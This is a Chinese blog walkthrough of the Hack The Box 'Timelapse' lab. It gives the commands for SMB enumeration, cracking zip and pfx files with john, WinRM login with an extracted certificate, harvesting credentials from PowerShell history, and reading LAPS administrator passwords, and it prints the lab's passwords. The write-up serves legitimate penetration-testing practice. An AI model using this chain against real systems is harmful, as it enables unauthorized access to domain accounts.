Hack The Box,一款有意思的渗透测试平台

2022-11-14 15:37:31 浏览数 (1)

前言

Hack The Box是国外的一个网络安全在线平台,允许用户实践渗透测试技能,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战,其中一些模拟真实场景,其中一些更倾向于CTF风格的挑战。

Hack The Box还提供了Rank机制来作为我们挑战的动力,通过通关靶场来去获取积分提高自己的排名。

Hack The Box官网:

https://www.hackthebox.com

如何开始

在注册好账号之后,我们需要去下载两个连接文件。在自己的home页面的右上角有一个Connect to HTB。

需要申请这两个连接文件,具体操作参考HTB连接:

https://blog.csdn.net/zr1213159840/article/details/123489915?ops_request_misc=&request_id=&biz_id=102&utm_term=hacktheboxvpn连接&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-123489915.142^v42^pc_ran_alice,185^v2^control&spm=1018.2226.3001.4187

正题:Timelapse靶场

连接

这是我的两个连接文件:

利用kali自带的工具进行连接:

连接成功。

启动靶场

选择好靶机后,点击Join Machine就能启动靶机,靶机会提供一个IP:

开始测试

靶机IP:10.10.11.152

连通性测试:

代码语言:javascript复制
ping 10.10.11.152

端口扫描:

代码语言:javascript复制
nmap -sC -sV  -oN myscan.txt 10.10.11.152

通过端口扫描发现,主机开放了一下端口:

查看smb共享:

代码语言:javascript复制
smbclient -L 10.10.11.152

存在如下共享目录:

在Share的Dev目录下发现一个压缩包:

获取压缩包文件(获取可能会失败,多尝试几次),解压时发现需要解压密码,利用zip2john进行解密,提取压缩包的hash值。

代码语言:javascript复制
zip2john winrm_backup.zip >> hash

利用字典进行爆破:

代码语言:javascript复制
john --wordlist=/home/Password-Top1000(1010).txt hash

爆破出密码为:supremelegacy

解压出来的文件还需要密码才能访问,之前爆破出来的密码不正确不能访问,pfx文件是经过秘钥加密的,我们可以使用命令openssl进行分析,并且要同时使用pkcs12文件工具,生成和分析pkcs12文件。

导出pfx文件的hash:

代码语言:javascript复制
pfx2john  legacyy_dev_auth.pfx >pfx_hash

再次利用john爆破密码:

代码语言:javascript复制
john --wordlist=/home/PassWord.txt pfx_hash

密码为:thuglegacy,发现这是个私钥文件:

利用openssl进行生成,三个密码都是我们之前生成的得到的thuglegacy,得到了私钥文件:

代码语言:javascript复制
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.key

得到私钥文件,还需要生成证书:

代码语言:javascript复制
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
代码语言:javascript复制
(向右滑动、查看更多)

在开头信息收集的时候看到了开启了5986端口,这个端口是用于横向渗透的端口,可以使用命令evil-winrm进行连接。

利用生成的私钥文件和证书进行登陆:

代码语言:javascript复制
evil-winrm -i 10.10.11.152 -S -c cert.crt -k prv.key -p -u

登陆密码为我们前面设置的密码:

成功找到user.txt文件:

这样就拿到了userown了,但是目标是要拿到systemown,就需要进行提取。

提权

上传提权文件:

代码语言:javascript复制
upload /home/winPEASx64.exe

下载地址:

https://github.com/carlospolop/PEASS-ng/releases/download/refs/pull/260/merge/winPEASx64.exe

运行该文件,找到一个历史文件:

下载该文件:

代码语言:javascript复制
download C:UserslegacyyAppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt
代码语言:javascript复制
(向右滑动、查看更多)

查看文件内容,找到一个用户和密码,使用该用户凭证:

代码语言:javascript复制
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
代码语言:javascript复制
(向右滑动、查看更多)

传递命令:

代码语言:javascript复制
*Evil-WinRM* PS C:Users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
timelapsesvc_deploy
*Evil-WinRM* PS C:Users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {hostname}
dc01
代码语言:javascript复制
(向右滑动、查看更多)

抓取用户凭证,使用AD-Module,查看 LAPS 密码:

代码语言:javascript复制
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}
代码语言:javascript复制
(向右滑动、查看更多)

成功获取到administrator的密码。

尝试登陆:

代码语言:javascript复制
evil-winrm -i 10.10.11.152 -S -u 'administrator' -p 'z &4Olgpgn;,11t5XbE#x0,2'
代码语言:javascript复制
(向右滑动、查看更多)

成功登陆,最终在rtx用户的桌面找到root.txt获得系统拥有权。

0 人点赞